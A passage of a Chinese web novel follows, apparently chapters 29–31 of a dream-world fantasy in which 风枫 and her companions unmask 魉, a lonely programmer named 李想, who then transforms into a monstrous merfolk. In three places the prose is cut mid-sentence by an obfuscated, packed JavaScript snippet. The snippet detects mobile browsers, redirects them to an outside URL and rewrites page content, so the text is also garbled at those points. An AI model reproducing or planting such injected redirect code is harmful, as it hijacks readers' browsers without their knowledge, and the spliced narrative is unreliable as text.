池水舔上她的手指,细细柔柔的,她突然感觉呼吸通畅,喉头堵塞的感觉也消失不见,就像是藏在水里的氧气通过接触皮肤而流通到了肺里。 顺畅的呼吸,让人安心的感觉。 呼吸? 风枫盯着水面的涟漪自言自语:“人是因为呼吸存在,还是因为存在而呼吸呢?” 温柔的水流沿着手指向上爬,慢慢裹住了她的手臂,风枫不再抵触,顺着水势跌进了池中。就像投入深海,蓝色包裹一切,包括自己的冰冷的身体,她感到前所未有的安全。 我就该在这里的,风枫忍不住想。 大海才是她的归宿,这里温暖如春,隔绝一切嘈杂的声音,没有差异也没有压垮人的希望,她可以放松四肢任由水流带着她四处飘荡,像海藻那样。 海藻喜欢什么样的地方? 细软的白沙地,岩石的夹缝,游鱼经过的时候会给她挠痒痒,洄游的红蟹告诉她加州的阳光多美妙,晒到壳子变软,眼睛发烫。 她正闭上眼睛想象自己就是一株被潮水带到海滩上的红藻,突然有个声音在耳边大叫。 “俺不要吃蒸的螃蟹!俺就要吃香辣的!”气势汹汹又无理取闹。 “不行,你的嗓子还没好,这几天都不能吃香辣的了。”另一个声音温柔却也固执,他不容反驳地拒绝道,谁叫这个家的餐桌是他说了算。 他们是谁?吵起架来没完没了,风枫睁开眼睛,就看见了几张熟悉的脸,她不是海藻吗,为什么认得他们的模样? 一个睫毛长长皮肤白白的小男孩站在凳子上才勉强能够到灶台上的锅,他的旁边站了个扎着两条辫子脸蛋红红的小姑娘,小姑娘插着腰气鼓鼓地像小鸟一样飞到客厅告状,两个大人坐在客厅的沙发上,他们耸耸肩膀,说自己也没有办法,这个家可是哥哥做主。 她又把目光投向沙发的另一面,那里还坐着两个小孩,一个带着黑框眼镜表情木讷的小女孩在自己随身带的包中一顿翻找,最后拿出两袋药塞到她手里,她呆呆地说:“吃了药嗓子快点好,香辣蟹立马得到。” 另一个苍白的小男生,长长的头发快要盖住眼睛,他抬起脸和小姑娘对视了一眼,就从沙发上跳了下去。 “喂!你去哪里!”小姑娘喊道。 男孩停了下来,乖巧地站在原地。 “我去把风眠揍一顿,让他给你做香辣蟹。” “不许你揍俺哥!” 说着她就张开双臂将男孩扑倒在地。 什么香辣蟹,这么好吃?我也想尝尝,可我不是海藻吗? 我是海藻吗? 我是谁呢? 风枫突然睁开眼睛,肮脏的池水一瞬间涌进她的口鼻,挤压身体内部的脏器,那种感觉无比难受,但她却有些兴奋。 什么乱七八糟的海藻红蟹,她是谁她一直都很清楚!风枫大人在这个世界上还有这么多羁绊牵挂,才不要随波逐流被冲到沙滩上可怜巴巴地等待被阳光晒化! 狡猾的魉总爱偷换概念,可她本来就清楚,她首先是自己,是风枫,因为她本来就这么好,才能成为大家的希望和骄傲,她从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807862|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来不是谁的附属,诞生的意义也不是为了某种有价值的事,成为不明官担负起保护大家的责任,等等所有的一切全是她作为风枫的选择。 仅此而已。 她清醒过来,却发现自己不是在什么深海,而是掉进了那个飘满水草的池子里,她想摆动手臂尝试浮出水面,可呛进气管的水太多,她的肺疼得快要炸掉,没有足够的氧气四肢渐渐软了下去,连同相力也使不出来,风枫下定决心只要能活着上岸一定会把魉揪出来揍得连他亲妈都不认。 前提是能活着。 视野开始模糊,意识也在逐渐溃散,朦胧之中她看见一张苍白的脸,还有一双浅紫色的眼睛。 自然而然的,风枫觉得自己可以闭上眼睛休息了。 风眠和夏烛冲出仓库的时候,看到的是这样的画面。 一个浑身湿透的陌生少年抱着昏迷的风枫从水里慢慢走上岸,他的头发有些过长,被雨水浇湿后垂在眼前,发丝之间若隐若现是他过分苍白看不清晰的脸。 就像一个英雄从天而降,在暴雨和疾风中拯救了他心爱的姑娘,他的手指因为害怕失去而指节收紧,发白颤抖,似乎也不是发白,而是他从袖口伸出的右手全由白骨组成。 夏烛一口气又提了上来,怀疑那堆凌乱的发丝后面之所以如此苍白,是因为那也是个骷髅头。 她刚要冲过去,却被风眠拦住,夏烛不解想从他脸上得到答案,但风眠只是看着雨中的两人,右眼皮跳得连夏烛都能看出,表情更像吃了屎一样。 “嬴犽?你怎么会在这里??” “第四个人该不会就是你吧?” 夏烛第一次在风眠脸上看到扭曲和狰狞,感觉他下一秒就要撕碎自己的衣服仰天长啸,对着赢犽怒吼“放开我妹妹”了。 走廊尽头,夏烛的房间里。 她向风眠确认了能在这个突然出现的少年面前使用能力,就握住风枫的手低头默念,几秒钟之后她咳出一连串的水,几人手忙脚乱地替她擦拭干净,虽然还是没有彻底醒来,但是呼吸稳定面色如常,大概是因为太累睡着了。 夏烛庆幸自己还拥有这样的能力。 整个过程中,少年固执地像头牛,不愿意把风枫身边最近的位置让给她的亲哥或者帮忙治疗的夏烛,两人只能侧着身体姿势别扭地去做这些事情。 被叫做嬴犽的少年,始终一言不发地盯着床上的风枫,背对着夏烛,实在让人好奇他的长相,在见到他有一只骷髅手臂的前提下。 夏烛只好回头,对上风眠的眼睛,用眼神示意他,她真的很想知道这人是谁,当然了还有他和小枫是什么关系。 风眠:“好吧,介绍一下,嬴犽,少皞嬴家的人,他们家族的相力是御鸟,我们两家算是邻居,所以他和小枫,应该就是所谓的,青、梅、竹、马。”最后四个字可以说是咬牙切齿。 御鸟?夏烛大概猜到一直躲在暗处监视自己的人是谁了。 她刚想问点什么,床上的风枫动了动,轻轻睁开一只眼睛,然后朝着嬴犽竖起一根手指,少年迅速递上自己只剩白骨的右手。 一朵带着草茎的小雏菊从风枫的指尖嘭出,然后弯弯曲曲地缠上了嬴犽的指骨,变成了只小小的花草戒指戴在那截枯萎的手指上。 “小乌鸦,好久不见哦。” 29.潮水箴言 夏烛沉默地看着两人的互动,起身去自己包中取出那本《萤窗异草》。 “这是你的吧?”她将书页里夹着的两支羽毛从背后递到嬴犽跟前。 他这才肯将视线从风枫脸上挪开,转过身面对她。 是个漂亮的孩子,但是过于苍白,周身的气质正好和风枫形成强烈的对比,就好比灿烂阳光下必然会有的阴影。头发有些过长了,露出白色的耳尖,前面的部分扫在眼睛上方,他的眼睛呈现一种紫水晶的颜色,这个样子看上去实在像一个阴暗的大坏蛋,不过他似乎对毁灭世界暂时不感兴趣,如果风枫就在一旁的话。 这些完全是夏烛的主观感受,归结于嬴犽身上散发的让人无法忽视的排斥性和占有欲,他似乎讨厌风枫以外的所有人,所以面对夏烛的提问他只是沉默地点头。 连话也不愿意多说。 “为什么监视我?” 她还是得确认对方对自己没有威胁,虽然有风眠在一旁作证,可毕竟他自己对嬴犽的态度都不算太好。 “等等,什么监视?”风眠一脸诧异,“你又偷偷进了我家领地?”他一副头疼的表情,看上去苦问题少年久矣,可偏偏这个问题少年对自己的妹妹芳心明许。 “不确定你的身份,你在小枫身边。”嬴犽总算说了第一句话。 明白了,他怕自己的存在对风枫来说是个威胁,类似公主身边的奸佞之臣,忠诚的骑士势必要铲除一切潜在危害。 嬴犽说话的时候,微微低着脑袋,但从夏烛的角度,隐约能看到他的舌尖似乎藏着什么东西。 不过好在知道了他确实可信,只要自己和小枫站在同一战线,他就不会做出什么过激的行为。 夏烛点点了头,从自己的兜里拿出那张写有数学答案的纸条,她之前就一直怀疑暗处藏有第四个人,所以怕暴露的线索越多,风枫他们就会越危险,既然嬴犽是自己人,就没有什么好隐瞒的,多了一个帮手,也许马上就能找出魉。 “学校的名字是一串数字,6174,我之前还不太确定这串数字的含义,直到确实有人回答了我在课上提的问题。” “6174,Kaprekar常数,也就是所谓的黑洞数字,任何一个由不同数字组成的四位数,经过重复排序、相减运算后,最终都会得到6174,犹如陷入无限的黑洞循环。还有那个洗脑的符号,外面的组成部分是彭罗斯三角。” “所以我们可以合理猜测,梦主,也就是魉或许是个数学爱好者。” “所以你才在课堂上提出问题,装作很苦恼的样子,魉大概率会忍不住现身?”参与讨论的只有风眠,风枫其实已经醒了,夏烛的相力确实不一般,她觉得自己现在壮得能扛起一头牛,不过在夏烛说出什么什么常数的时候,她觉得自己又要睡过去了,干脆闭着眼睛假装还在昏迷。 “是这样,我也没想到魉会这么不禁吸引。” “所以我们现在能为他做一个画像,一个数学爱好者,妄图在梦境世界造神,洗脑一群追随者,让他们信仰他创造出来的神。”就像是传销或者邪教一样,同化的过程一共需要三步。 第一步知识污染,在课本中添加洗脑的元素,让所有人被迫接受那些恶心的生物,并且日夜朗诵让人感到空虚的诗句。 第二步符号植入,无所不在的符号试图潜移默化地印在大脑最深处,虽然符号的第二部分,那个类似字母“U”的到底什么是意思,还不得而知。 第三步就是精神共振,经历过以上两个步骤的人会精神恍惚而或多或少地产生一些幻觉,微量巧妙的暗示就会让他们担心黑暗中是否藏着某种未知的可怕生物,可那怪物永远都不会现身,但与此同时自己身又正在发生变化。结果就是导向“我在变异吗?”“怪物就是我自己?”如果内心相信了自己就是怪物,那么真实□□就会出现相对应的异变,最终失去自我意识,和真正的“神”进行融合。 水池估计就是某种融合的容器,所有生物将在其中再次打碎重组。 “只是这样做的原因到底是什么呢…”夏烛无法确认这一点。 风眠说:“也许是,现实生活并不如意?” “也许是…对自己为什么存在感到焦虑?”风枫还是从床上坐起,趴在嬴犽背后举着手臂,交代了这些天脑子里一直存在的那个声音。 那个声音一直孜孜不倦地问她是谁这个问题,也许也是魉想问自己的。 “我们三个一直在明处,所以你,嬴犽,这几天以来你到底经历了什么?” 他能在签到表上写自己的名字,说明魉是对他有所安排的,魉一直都知道这座岛上,这个世界,总共有17个人。 提问题的是风眠,但嬴犽还是重新转过脸去,一脸认真地对着风枫说。 “在这里。”嬴犽看上去有些不太聪明的样子,他用手指着自己的脑袋,“一直在这里说话,他以为我受到了感应,成了最忠诚的信徒,听从一切的指示,所以,让我代替老师。” 所以说,老师死后的敲钟做饭写字的一直都是嬴犽,这就解释得通了,魉似乎真的很在意“自我存在”“和身份认同“这一点,强烈地需要被承认,所以他就是自己创造的那个神。 “那同样很忠诚的老师为什么会死?”风枫再次举手。 “也许是有不得不死的理由。” 这和他所隐喻的形象息息相关。 关于魉的一切正在慢慢清晰,只需要等待时机成熟,这个梦境就将结束。 钟声再次于断崖之上响起,圣洁的月亮落入海面,光辉普照大地,在一个无法辨认昼夜的时刻。 指令下达,程序开始运转,打开门,走出去,带着无比期盼的笑容和一颗向往神眷的心。 “牵紧俺的手哦。”就像上次那样。 风枫向夏烛伸出自己的手,眼神无比清亮,比以往任何时候都还要坚定。 众人又聚集在道路尽头,在入梦的人眼中作为NPC的他们都坚信自己是这个世界的中心,史诗故事的主角,怀有最坚实的信仰,也许这一次就将被神选中,这次不行,那就下次,生命短暂但又漫长,无论如何,都是充满价值,总有希望的不是吗。 巨大的月亮带着冷漠的压迫感,异常的形态似乎昭示着它的神异性质,海面平静无风,只有银白色的光辉像是仙子翅膀下抖落的仙尘在其中闪烁。 月亮之下,海面之上,遥远的尽头到底有什么? 未知主导一切,□□精神和思想。 三人站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一场戏剧性的神召结束,实则只有一个鬼哭狼嚎大叫着自己被选中的演员,大家短暂地被情绪带动又立马回到程序的正轨之中继续做着白日梦。至于被神选中会得到什么,似乎没有人在意,也许是变成怪物沉入深海之中,不过某种程度上也是一尘不变生活中的乐趣。 “那是什么?” 临近校门的时候有人发现了院子里躺着一坨东西,走进一看,黑色的油布下面一动不动似乎是一具尸体,因为一只骷髅手臂从侧面掉落出来,看上去要不是死状尤其惨烈,要不就是死了很久了。 又一个。 大家不过是围观了片刻,又四散离开,回了自己的房间,完全不怀疑这个明显多出来的人,不好奇他是什么时候出现的。 尸体就这样放在院子中,没有人想去查看一下,直到夜色更深,潮汐跟随月亮的轨迹涨落,一个身影悄悄出现在尸体旁边。 他弯下腰,双手扯住油布的一端,吃力地拖动着尸体,缓慢来到水池边,正当他想要将尸体整个推入水中的时候,一个黑色的影子如同猎食状态的鹰隼朝他俯冲下来,不属于梦境的生物带着锋利的喙部直直戳向他脆弱的眼睛。 他下意识抬起手臂遮挡在眼前,却不知从四面爬行出的藤蔓已经缠上了他的小腿,还没反应过来,就被藤蔓拖行了几米,背部生生撞击坚硬的地面,屁股上的布料几乎燃起火星。 “果然是你。” 他看着眼前突然出现的三人,眼神中的惊愕和害怕还没有完全散去。 30.潮水箴言 李想睁开眼睛。 定的闹钟还有五分钟才会响,但他已经习惯提前醒来。 6点25分,世界半梦半醒,窗帘露出一条缝隙,照进雾蓝色的光线,光线里漂浮着数不清的细小尘埃。 灰尘无处不在,整个宇宙都被数以万计的尘埃覆盖,但你平时根本不会在意它们,除了一束光照进来,除了周围暗下去,也许此刻对于它们自己来说也才算短暂的存在。 李想的五分钟,只是呆呆地盯着光里的一粒灰尘,随着它的左右飘荡,觉得自己的身体也变轻了很多。身体下面并不柔软的床慢慢消失不见,视野里除了那粒灰尘周围的一切都在边缘慢慢虚化。他其实患有近视,没带眼镜的时候就连镜子中的自己也看不清。 但也许是刚从睡眠中醒来,眼睛还算清明,灰尘的模样逐渐放大清晰,他开始觉得自己也飘了起来。那种感觉就像是漂浮在宇宙中,或者大海上,目的地是没有必要的存在,无知将为这场旅行领航。 他的呼吸也在变缓,几乎微不可查,就连心跳也下降到每分钟20次的跳动频率,□□似乎在消亡,意识被放逐到无边的空间中,有那么几秒他甚至变成另一个状态漂浮在自己的身体上方,看着那张既熟悉又陌生的脸,有那么几秒他又能看见宇宙中星辰的闪烁,绚烂至极,那是永恒的强大力量,只是窥探就让人心惊不已。 直到闹钟响起。 所有的一切重新回到这幅身躯里,他没有一秒犹豫就起床,因为有限的时间都在精密的计算当中。 冷水浇到脸上是每日最期待的一刻□□刺激,薄荷味充斥鼻腔,镜子上全是水渍,让他的面容也显得模糊不清,只能将鼻尖凑到镜子前,才能勉强看见自己眼睛下方的灰色淤痕。 他怀疑人眼睛的视物能力是有限度的,例如一生之中只能看见一万个人,而超过这个数量,视网膜内部就会因为无法承受而产生破损,流出一些陈旧的血液堵在眼睛下方。 他每日从家到公司,再从公司回到家,途中所见之人就像蚂蚁一样密密麻麻,所以这双眼睛早就疲惫不堪。因此在一些难得的空闲时间,他也只会躺在床上,用大脑去想象描绘世界,而不是双眼。 有时候,他会不认识自己,这张脸看了有二三十年,却总是记不住自己的长相。他知道自己不难看更不好看,更倾向于游戏中在马路上走来走去,好像是拥有丰富人生其实连开发者都遗忘掉的那一个NPC。就连身边的人也偶尔忘记他的名字,张想,王想,周想也好,他们各个将理想挂在嘴边,可就是记不住他这个简单到没有理由忘记的名字。 不过也不怪他们,即使是他自己,在面对镜子的时候,都会产生一种奇异的陌生感,就像在私人的空间中突然闯进一个陌生人,你们俩能做的只有沉默的对视,或者偶尔莫名其妙地笑出声。 那种气氛是尴尬,但又有些好笑。 他从镜子里发现自己的下巴上长出了很多青茬,原本想置之不理,脑子里却突然响起主管的话,他说仪容不整也影响同事的工作效率,他总是这样顶着一张丧气无比的脸看了就叫人心糟,并且主管还将上一季度程序上出现的错误归结于他新长出来的胡须。 主管拍着自己的肩膀,手指尖上传来头油的味道,用那种讨人厌的玩笑语气,告诉他再不注重形象,下一次内部优化只能选他了哦。 然后周围的人都配合地笑起来,主管脸上的肉一层层波动,已经完全沉浸在自己的幽默中无法自拔了。 李想觉得可笑,他想这些都无所谓,开不开除他又有什么意义呢,反正这个工作对他来说可有可无,他只是作为一个人,按部就班的需要职业傍身罢了。 可他的手还是摸向架子上的剃须刀。 动作得快一些,必须赶在6点40之前走出房间。 没有时间去拉开窗帘,这个窄小的公寓几乎很少照到阳光,味道不算好闻,偶尔闻起来就像床底下睡了一具腐烂的死尸,或者某个柜子后面正在大面积的发霉。 房间的桌子上只有一台永远不会停止运作的电脑,始终发出长久的嗡嗡声。他越过电脑,将手伸向后面的架子中,从纸箱里摸出一袋速食面包。然后提上公文包迅速离开了房间。 那个书架已经充当各种速食的囤积地,《代数学引论》和《概率论基础》也许还有叔本华和加缪,都带着卷边被挤到角落,甚至结了一层蛛网,灰尘更不用说,夸张地讲,只要拿起来抖动一下,就能让一个正常人换上尘肺病。 李想整日在这个空间里呆着,也会时不时的咳嗽几声。 但他认为钻进自己肺部的并不是灰尘,而是日复一日没有变化,连挫折也显得无聊的日子。所以他嗓子发痒,需要用力再用力,咳出血来也要咳掉一尘不变毫无意义的浓痰。 他在关门的最后一秒挤进地铁,像一堆咸鱼一样见缝插针地挤在其中,没有扶手给他把住,需要做的只有紧紧抱着自己的包,前进或者停止,总有前后左右的人带着你一起。 豆浆,酸菜包,汗液,油脂,还有些道不明的气味,混合起来无比糟糕,李想怀疑每个人家里的床底下都藏有一具死尸,跟他自己的一样。 干枯沉闷,毫无生气,时间一长,就连他们这些大活人身上也沾了死气。 他盯着自己的脸在车窗上频闪,最终变成电脑屏幕上反射的自己。中间这一段走在人群中的记忆莫名其妙的消失了,不过他并不在意,都没什么价值不是吗,谁会注意到一个按照程序走在路线上的NPC呢。 工作?工作是什么,无非机械的操作,用自己的双手充当工具来实现上司的理想抱负,枯燥无味,但也没关系,他只要照做就好,自己的想法根本没有意义。 什么样的人才配有想法和观点,天赋怪,一个标点符号都是金口玉言。家世和背景能堆积成话语权的坚实壁垒,而他呢?什么都马马虎虎,平平无奇,是一条绳上风干的咸鱼,大合照中的镶边,一把随意撒下草籽中的其中一粒,没错,播种草籽的目的是要长出一片绿草如茵,但当中的一粒草籽到底有没有发芽谁会去在意?都不影响这片草地的成就,就像世界有无李想也照常运转。 所以很残忍不是吗?他只是个充数的,没有必要的,但又非要存在,因为有价值的人发表人生感言的时候台下必须坐着观众。 观众李想的少年时代还算小有瞩目。他在数学方面有点天赋,数学和物理两门科目次次排第一的,但相对的,他的语文一塌糊涂,尤其是英语。 理科老师说他是逻辑天才,是自己的得意门生,让他们在年级组上赚足了面子,文科老师说他一点文学素养都没有,写个文章狗屁不通,从阅读理解的分数就能看出他完全是个三观不正的人。 但李想倒是不在意,在分数和夸奖声中他真觉得自己是个天才了,即使总分排名总在中下游摇摆不定。 天才李想却在家庭聚餐上碰了灰,他们家是个大家族,姥爷的九十岁大寿全员出动也得二三十个人包下小酒楼的一个豪华套间。以家庭为单位,需要派出人来为姥爷祝寿,简单来讲就是说吉祥话,什么寿比南山,福如东海,把姥爷说高兴了,或许他攒下的那点棺材本能有一点油水进到自己这个小家的口袋。 真有人希望他寿比南山吗?李想坐在装满鲜橙多的高脚杯后面想。 轮到他家的时候,他爸先大夸特夸了一下李想的中期考数学成绩。 “班主任说我儿子可是有希望绕过高考去读那个什么青华丘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823546|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班的!这个大学就不用说了吧,国内顶尖!语文英语不好又有什么关系,咱还不是照样上最高学府!” 亲戚中有几个年纪差不多的孩子也快面临高考,李想从高脚杯后面抬起头来,扫视了一眼大家脸上的表情最后看向一旁的父亲。 没想到他知道,丘班是自己的梦想,看样子至少父亲是支持他的。 他的眼睛闪闪发光,可是马上他就笑不出来了。 父亲一巴掌拍在他的肩膀,叫他端起酒杯,站起来,给姥爷说几句祝词。他突然感到冷汗直冒,腿甚至有些软,李想平时沉默寡言,就算是家庭聚餐也是他最恐惧的社交场景,他像是被钉在了椅子上一样一动不动,眼皮耷拉着,明眼人都看出他的紧张和不安。 不就是说几句话吗?至于吗? 李想觉得大家估计都在心里鄙夷他,可越是这样他越是张不了嘴。 母亲的手偷偷藏在桌布下绕到他的后背,使劲用她尖尖的指甲掐着自己的肉。 像一条真正的败狗,李想忍着痛咬着牙,脸色灰红地藏在橘子果汁后面,场面一度很尴尬,最后在父亲吃屎一样的表情和表姐的英文祝福下收场。 “我要上丘班。”回家后的李想兴致勃勃地告诉父亲自己的梦想。 “什么?”父亲坐在深陷下去的沙发上,对着电视调着频道。 ”上丘班。”他重复道。 下一秒遥控器就扔到了他的头上,额头传来钝痛,像是骨头裂缝了一样。 “你上他妈的鬼班!屁都放不出来一个,数学好有什么用?能当饭吃吗,能找到好工作吗,能在市里买一套房子吗,老子指望你?你他妈就是个废物!连一句话都不会说!” “你像个正常人吗?你有什么能力走出这个屋子走到社会上?你他妈连从这里到首都的路费都赚不出来!痴心妄想的废物!蛀虫!垃圾!” 李想捂着脑袋,呆呆地看着父亲,不知道为什么突然发疯,因为要聚餐,他今天终于在这个时间段清醒地出现在家里了,他还想着拿出上次的竞赛奖状给他看看。 可是最后李想只能灰溜溜地回到房间,坐在自己的书桌前面,将桌面上解到一半的题做完,然后就这么呆呆坐到了天亮。他后怕地认同父亲的话,开始怀疑自己是不是真的废物。 而一墙之隔的母亲也沉默地将自己锁在梳妆台前,墙体隔出两个自我保护的空间。 李想当然只考了个普通的二本学校,学习信息工程专业。上了大学后,还是专业方面的佼佼者,可是他发现大家不再埋头研究数字和逻辑了,他们都忙着社团,约会,和暧昧的男孩女孩看看电影再吃个饭。 他们也聊梦想,聊文学,聊一辆刚刚上市的新车和裙摆下的小腿。 长大后的人生完全不是他想象的那样,就像18岁之前他还在幻想拯救世界,零点的钟声一过他就自动变成了穿着二手西装的失败成年人,坐在自己的工位上,人生一眼望到头的意思是,电脑屏幕上自己那张干枯的脸将日复一日慢慢变老并且永久地框在其中。 那么快速,快到他还没有反应过来,18岁的蜡烛仿佛刚才吹灭,烟灰还顺着灯光往上爬。 李想能做的只有度过时间而已,这个世界有这么多的人,男的女的,老的少的,丑陋不堪或者光鲜亮丽,他总算明白自己从来不是宇宙的中心,顶多算一粒漂浮的无知尘埃,世界不会给予他庇护,他的存在毫无价值。 就这样活吧,李想想着,为什么要工作,为什么要有爱人和朋友,为什么非要快乐,追求的一切都是昙花一现,名利金钱永恒而生命短暂,世界永远有下一个明天。就这样吧,躺在这张床上,变成一具干枯沉闷的尸体就好,直到意识消散,精神不再。 31.潮水箴言(完) 有一天睡前,他鬼使神差地打开了手机,手指在某个媒体平台无聊地划动。突然屏幕上闪过一张非人类的脸,只是一秒钟的时间,李想捕捉到了它青灰色的尾巴和代替耳朵的漂亮耳鳍。 这是一则国外发现美人鱼的录像,虽然评论区有人指出其实只是一种拍摄手法,这部作品实则是一部伪纪录片。而大家都统一客观又理性地分析,世界上根本不存在这种生物,不过是文艺作品中的想象罢了。 但李想的心却突然跳动起来,没有任何征兆,就好像他在一艘漂浮于苍茫大海的船上,船里空空荡荡除了自己连一把桨也没有,意味着没有方向也看不到未来,却突然有那么一只手从深海里伸出,抓住了他的船舷并且开始疯狂摇晃起来,那种即将倾覆的恐惧却让他第一次感受到了自己的存在,那是一种对生命的认知。 在宇宙的尺度之下,文明,种族显得不堪一击,也同时作为局限的框架,将人类束缚。如果你认识到了存在本身的荒诞与偶然,并且产生了身份认同的混乱和失控感,那就急需将这种痛苦投射到一个未知的强大的非人的存在身上。 而遥远深海,人类至今无法企及的地方,就像地球上的相对宇宙,它的存在恰好提供了一个关于“无意义”的解释。 自古以来,人类都有类似的需求,去感知和理解比自己更宏大的东西,所以有了宗教,信仰或者集体意识。当他们在传统的框架也就是自然社会中失去了衡量自身价值的标准,无法得到身份的认同时,这种需求也并没有消失。 对李想来说,恐惧和疯狂之力恰好满足了需求和链接。 深海中的鱼尾划出U型曲线,在他的心里烙下了一个优美的符号,那是向往之地的形状。 潮水给予他祝福,看现实世界理想扑空,万家灯火和灰冷的窗洞,骤雨狂风隔绝前尘不再,此时此刻,他仅有他。 他像是重新,再一次从母体的胚胎中诞生,怀揣着一颗崭新的蓬勃的心,闭上双眼沉浸在了那个未知的世界,去找寻自己关于存在的价值。 千人千面的形象,在他的魍魉梦中担任施加压迫同时又被自己掌控的角色,仿佛学生时代指着鼻子骂过自己的老师,油腻愚蠢的上司,无能暴怒的父亲,沉默不语的母亲,又或者擦肩而过的芸芸众生。 而他自己,将会抛弃肉身,在此地作为至高无上的旧神存在。 旧神恩赐时间,给予一切昨日和今日。 只是。 “为什么?” 为什么会有一群莫名其妙的人突然闯入他的信仰国度,试图摧毁这里的一切呢?他们是要做什么,要逼他回去重新当那个一无是处的废物李想吗? “什么为什么?叽里咕噜的又在说啥?”风枫收紧了手里的藤蔓,将李想定在原地暂时无法动弹,“赶紧举起双手投降吧,好久没见过阳光,俺快要被这个地方的咸湿腌入味了。别这么阴暗啊少年,偶尔也该晒晒太阳,阳光底下允许一切发生呐。” 但李想并没有举手投降,更没有别的反应,风枫觉得他看上去有点懵,坐在地上垂头丧气的像一只打架输了的小狗,嘴巴里还一直喃喃自语为什么,似乎不太理解她们的出现和动机。 “他这是怎么了?”风眠和妹妹交换了个眼神。 “不知道,但俺总有一种感觉,现在不应该站着,而是要走过去,跟他坐在一起,毕竟出梦需要各种意义上的’杀’掉魉,可你们不觉得他现在看起来特别衰吗?” 在一个人低落到极致的时候冷嘲热讽或者朝他胸口插一把刀子似乎不是什么君子行为,更何况这次的魉好像都没有反抗能力。 嬴犽一言不发,也许他觉得李想的状态和自己很像。 夏烛则是狠狠点点头表示赞同,其实她有点理解李想的心情,爷爷离开之后她也有一段时间找不到人生的意义,以至于想抓住点什么东西,奈何她不会说话,看上去又过于迟钝,连基本的友谊链接也建立不起来。 但她跟李想不太一样的点是,虽然不清楚未来何去何从,但她始终知道自己是谁。 她只是夏烛,光是夏烛这一点,就够独一无二,够酷的了。 不管是好的坏的,璀璨的黑暗的人生,只要是夏烛的,就是最特别的,无法复制的,任何人都不能侵占的。 前路未知,遇水造船,遇山搬山,就算直到生命的尽头也无法做出改变,她也不觉得失败。 而李想呢,或许连他自己都没发现,独属于他闪闪发光的一面早已布满这个梦境的每一个角落了。 他的热爱和优势一直都存在,从来没有离他而去,只是他不愿意将选择权交到自己的手上,永远盯着缺陷而无法自拔。 她想走过去安慰他两句,告诉他这种想法很正常啦,不管是成功人士还是超级平凡的那一个,起点是生,终点只有死亡,这是人类生存的荒诞本质。 就像梦境的一切由一个隐形的神明创造,可对于他们这些入梦者来说,选择永远握在自己手中。 直面荒诞承认虚无,个体的价值由个体的自由选择创造。 我们必须想象西西弗斯是幸福的。 可真要走近李想的时候,夏烛又停住了,一是她只在脑子中存在深入人心的安慰,但要是真叫她说出来,一定结结巴巴不知所云。二是她认为自己似乎没有立场去当一个开解人,而且她莫名相信,只要离开了这里,总有一天,他会自己想明白的,也许这正是他人生组成的一部分,多美好,有挫折有改变,有过短暂征服世界的冒险。 所以她们现在要做的就是,再次将那把犹豫不决的匕首插入魍魉的胸口,让自由的选择权重新回归李想手中。 没错,站在四人面前的从来只是魍魉,他们早该清楚这一点,不然就不会给他时间咸鱼翻身了。 魉的手里不知道什么时候多出了一把锋利小刀,手起刀落之间斩断了束缚在身上的藤蔓,他深深望了众人一眼,朝着看上去手无缚鸡之力的夏烛扔出了那把小刀,随后转身奔向水池。 此间的风和空气都充当燃料为小刀蓄力,刀尖甚至带着破空的尖啸刺向夏烛,在还差零点一毫米就戳进她瞳孔的时候,被风枫的藤蔓拉停了动势。 “靠,搞偷袭啊!”藤蔓绑着刀柄在空中甩尾,重新刺向只留给众人一个背影的李想,“他好像要跳下去!” 话还没说完,李想一个纵身就跳入了水中,小刀失去目标落在了水池边。 “这是打不过就自杀还是什么?” “你忘了吗,这个水池似乎能解构生物再次重组。”风眠盯着毫无波澜的池面,脸色不太好。 看来没这么轻松就结束。 她们不敢靠近水池,打算先观望一下。 “所以这是个变身环节吗?俺怎么有点期待。”风枫眼睛亮晶晶的,踮着脚妄图看向池底。 平静的池水冒出一个粘稠的气泡,接着是第二个第三个,水温似乎在迅速攀升沸腾,或者有什么庞然大物要从池底钻出来。 下一秒,一个巨大的身躯几乎是喷涌而出,带起无数水柱扑向众人,眼看着要变成四个落汤鸡,身边的嬴犽周身忽然发出浅紫色的微光,一只展翅后能有三米长的大型乌鸦极速掠至头顶为她们遮挡了冲击的水流。 “什么玩意儿这么大一只!这是不是有点违规啊??” 原本瘦瘦弱弱的李想变身成了一条三层楼那么高的人鱼,说是人鱼好像也不太对,风枫记得书里面的是美人鱼啊!美人鱼的重点不是美吗? 这玩意没有优雅的闪着彩光的鱼尾而是一条几米长看上去就黏糊糊的鳗鱼尾巴,肉感十足像一条森蚺,就看一眼夏烛的手臂上汗毛全竖了起来。不仅如此他的上半身也不是肌肉裸男,暴露在外的皮肤都覆盖了密密麻麻的气孔,呼吸之间,气孔上的薄膜一张一缩。 人鱼没有头发,顶着一颗光溜溜的脑袋,头顶长有两块很大的矢状骨,没有鼻孔,大嘴咧到耳鳍上,满口细牙还有两根长长的肉须随风颤动。 